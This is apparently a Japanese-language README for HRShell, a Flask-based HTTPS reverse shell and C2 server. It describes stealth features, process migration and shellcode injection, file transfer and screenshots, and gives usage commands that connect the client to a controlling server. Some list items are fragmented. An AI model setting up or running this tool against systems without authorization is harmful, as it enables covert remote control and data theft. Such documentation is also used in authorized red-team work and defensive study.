
HRShell は flask で構築された HTTPS/HTTP リバースシェルです。多くの機能と能力を備えた高度な C2 サーバーです。
HRShell は、Flask で構築された HTTPS/HTTP リバースシェルであり、Python 3.x に対応しています。client.py は以下の環境で正常にテストされています:
一方、server.py は Unix システムに対応しています(Windows サポートは近日公開予定…)。
migrate <PID>)
cd コマンドおよびそのバリエーション)。history コマンド。download/upload/screenshot/hex コマンドが使用可能。|)および連鎖コマンド(;)をサポート。gunicorn や Nginx などの本番サーバーとも互換性があります。server.py と client.py はどちらも簡単に拡張可能。*バージョン変更については CHANGELOG を参照してください。
HRShell は、クライアントとサーバー間の通信に HTTP(S) プロトコルを使用するため、ステルス性が高くなります。さらに、TLS を使用する場合、トラフィックは暗号化されます。また、証明書がクライアント側にハードコードされておらず(これは実現可能なオプションです)、upload コマンドが使用されていない場合、client.py はディスクに一切触れません。
サーバー側:
デフォルトでは server.py は HTTPS であり、その場で生成される証明書(Flask の組み込み機能)を使用します。ただし、-s tornado オプションを指定してサーバーに TLS を使用させる場合は、--cert および --key オプションを次のように指定する必要があります。
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
「本物の」証明書を使用するか、または mkcert や openssl を使用して証明書/鍵ペアを生成することもできます。例:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
証明書/鍵ペアは Flask サーバーでも使用できます:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ サーバーが TLS を使用している場合、設計上、クライアントは
http://...でサーバーに接続できません。代わりにhttpsを明示的に使用する必要があります。
クライアント側: デフォルトでは、クライアントの SSL 検証は無効になっています。ただし、以下の場合を除きます:
--cert パラメータが指定された場合。例:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT 変数がデフォルトの None 値ではなく、事前に有効な証明書に設定された場合。例:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
この場合、client.py はその場で隠しファイル .cert.pem を作成しようとし、それを使用します。⚠️ クライアント側で SSL 検証がデフォルトで無効になっているからといって、TLS も無効になるわけでは決してありません。サーバーが TLS を使用している場合は TLS は有効になります。したがって、TLS はサーバーに完全に依存します。クライアント側の
--certオプションは、サーバーとクライアントが暗号化セッションを持つための代替手段として存在するだけです。
シェルコードインジェクションには、次の 2 つの「モード」があり、それぞれ以下のコマンドを使用します。
migrate <PID>: このコマンドを使用すると、PID を指定して別のプロセスのメモリ空間にシェルコードを注入できます。現時点では、このコマンドは Windows x86/x64 プラットフォームでのみ適用可能です。
inject shellcode: このコマンドを使用すると、現在のプロセスの新しいスレッド(Unix システムでは生成されたプロセス)が作成され、そのメモリ空間でシェルコードインジェクションが行われます。その結果、HTTP(S) シェルはインジェクションの影響を受けません。このコマンドが適用可能なプラットフォームは、Unix x86/x64、Windows x86 です。
クライアントに実行させるシェルコードの種類を指定/設定する方法は 2 つあります:
client.py スクリプト内の shellcode 変数に有効なシェルコードを事前に設定するか、set shellcode <shellcode-id> コマンドを使用してその場で設定します。このコマンドを使用すると、サーバー側からクライアント側のシェルコードを何度でも更新できます。
最初の方法は非常に簡単です。ただし、2 番目のより便利な方法(既に指定されたシェルコードを変更することもできます)を使用するには、shellcodes/utils.py スクリプトに任意のシェルコードが含まれるように設定する必要があります。このスクリプトには、その方法の例が含まれています。
💡
server.pyを起動した後でも、shellcodes/utils.pyスクリプトは何度でも変更/更新できます。server.pyは最新のバージョンを動的に使用するためです。これにより、その場でシェルコードを設定および変更できます。
特殊コマンド:
gdb、top などの非インタラクティブなコマンドであれば、他のコマンドもすべてサポートされています。また、python server.py -h または python client.py -h と入力すると、サーバーとクライアントで使用可能な引数の情報を取得できます。
注記: クライアントがサーバーに接続されている状態でサーバーを終了する場合は、CTRL+C を押す前に、exit コマンドを使用して接続を閉じる必要があります。
クライアント側:
カスタムコマンドを作成するには、一般的に:
elif ステートメントとして追加する必要があります。サーバー側:
コマンドがサーバー側に新しいエンドポイントの存在を要求する場合:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
必要に応じてドキュメント
"""
...
return ...
handleGET() を編集してクライアントをそのエンドポイントにリダイレクト:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() を適切に編集します。両方のスクリプト(server.py と client.py)は引数でカスタマイズできます:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: 高度な機能を備えた HTTP(S) リバースシェルサーバー。
arguments:
-h, --help このヘルプメッセージを表示して終了します。
-s , --server 使用する HTTP(S) サーバーを指定します(デフォルト: flask)。
-c , --client 指定されたクライアント/IP からの接続のみを受け入れます。
--host 使用する IP を指定します(デフォルト: 0.0.0.0)。
-p , --port 使用するポートを指定します(デフォルト: 5000)。
--http TLS を無効にして HTTP を使用します。
--cert 使用する証明書を指定します(デフォルト: None)。
--key 使用する対応する秘密鍵を指定します(デフォルト: None)。
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: 高度な機能を備えた HTTP(S) クライアント。
arguments:
-h, --help このヘルプメッセージを表示して終了します。
-s , --server 接続先の HTTP(S) サーバーを指定します。
-c , --cert 使用する証明書を指定します。
-p , --proxy 使用するプロキシを指定します [形式: host:port]
サーバーの必要条件をインストールするには: